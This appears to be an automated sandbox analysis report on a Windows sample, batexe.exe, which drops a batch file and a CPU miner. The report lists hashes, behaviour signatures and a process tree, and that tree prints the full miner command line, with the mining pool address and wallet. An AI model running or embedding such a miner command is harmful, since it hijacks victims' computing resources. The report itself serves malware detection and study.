Analysis

  • max time kernel
    297s
  • max time network
    301s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    19/02/2024, 18:20

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:424
    • C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C033.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3240

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe

    Filesize

    11.9MB

    MD5

    04d50cbb43d10f6fe96d0598bc8cc6bb

    SHA1

    a0cf4634ad63f62a0207ac0290241565baf29667

    SHA256

    d715c6d19d83e735ba8d0578eef43397c18770b40f46adfb58a8fa0061d6fb61

    SHA512

    1117949820b865112f59bd4d6d13b3b7f936d2d792a875de529015fa1717cc8d8107d0be738ac2c0dbb92b05e3f0052a9ecdb4eb6154c3960ffbcb41ec4810cd

  • C:\Users\Admin\AppData\Local\Temp\B97C.tmp\b2e.exe

    Filesize

    8.6MB

    MD5

    962895566149e3ba069e848b788fc26d

    SHA1

    9707e4728751f02f130f28b4bb2978e8cad68e8c

    SHA256

    7c544c1e74627614357505557f028e1f08b163e78b9d230169fcd746083f5aff

    SHA512

    fda892854a462a005fd842c67085f56d67410403e92056afd3174711817ae30a9dab7f4b1e055277aa5dcbfc8e4df55b8aefe7ddfc8c70ad894c7751665fee4b

  • C:\Users\Admin\AppData\Local\Temp\C033.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    640KB

    MD5

    0f6af9e19fa927d88313e98d54420920

    SHA1

    0aff9c72864126107d6c630aafb9ed6512042afd

    SHA256

    71661d7077b93e2a5e53d7093e532bec1b66d34e3929bcb314eab7f431b84734

    SHA512

    bba078e2f4eb5ca45956657356f7419767a81679f34d9991bf28a1d44e412340d1002517f74a15583ffe20b32f1f25b60c47f4581100552dc1e651b3f88547be

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    512KB

    MD5

    a879c5fd4613dca566d5b1a782690dd5

    SHA1

    41c6063b0f0dee953e99713a5326856b55e08366

    SHA256

    3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20

    SHA512

    e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    550KB

    MD5

    efa4a05cebeeb567f67d55b9568ddca9

    SHA1

    8464fb7557216fab1b2ef91f977a41f6426c634d

    SHA256

    23ef898de21720694864f2a3bc40732de320bfeca78aed1ba1ec5fcb16edf173

    SHA512

    bf1e7e500606ce41824f64334ba7e8ced7987cc74585112e46fdbb458d68a37ea2334c340a74e13fa9dfb70422d1efe517fe316f6ea2e9befcff5d90bc75b43e

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    384KB

    MD5

    b91f7bb5508b343188ec32dcc7880611

    SHA1

    fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

    SHA256

    47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

    SHA512

    a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    448KB

    MD5

    ca123cec7f705c0af114e462349dc686

    SHA1

    75f90b4d95f6774b2f66e4ba790755ef118ab222

    SHA256

    7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

    SHA512

    650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    384KB

    MD5

    eec15153c344f43f1919cb379b9ee2f9

    SHA1

    3e4a09390ac885ea2797209603bcfa1ec6ff0cc6

    SHA256

    4e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222

    SHA512

    7cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    448KB

    MD5

    19a61444b6e2d01755ede80960bca19c

    SHA1

    e0c7222784d3e2b3329ec3280648b17fd60ef209

    SHA256

    13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

    SHA512

    bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    320KB

    MD5

    e63bf5df87e2ea807dc353cc5aa9aab1

    SHA1

    69fc94bbebe878711cb133c3a1affb80c0bdecff

    SHA256

    2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

    SHA512

    70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    256KB

    MD5

    1d86b9560854472453237bcbaa2e253f

    SHA1

    5a03a7902d250377a3e9f746badcb696e2c98228

    SHA256

    1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

    SHA512

    afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    277KB

    MD5

    c5e8400694bf165d1acff1094e47bf4f

    SHA1

    41dcf89e4ba6384a281125d31b4606bb25970529

    SHA256

    6919cced395fbda702b705133f6b8156dc7d2304a7ac03489dafa70103aea74f

    SHA512

    0f53dd5fe28d246c70b49afb142bcfb0862fc1a84d3ecdf5f9fc9c850e25108d889ee2496d08ee40fd2db7b7f185a7271b0fe6e5476215a3b70bde0666eee66b

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    320KB

    MD5

    1ae43cc09627ff82d15527ea2693fd76

    SHA1

    c39ffa1a4b80c29fa1f5caed3e7d091253266c66

    SHA256

    b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f

    SHA512

    21945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271

  • memory/424-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3240-42-0x000000005FF00000-0x000000005FF98000-memory.dmp

    Filesize

    608KB

  • memory/3240-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3240-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3240-44-0x0000000001070000-0x0000000002925000-memory.dmp

    Filesize

    24.7MB

  • memory/3240-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3240-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4848-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4848-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB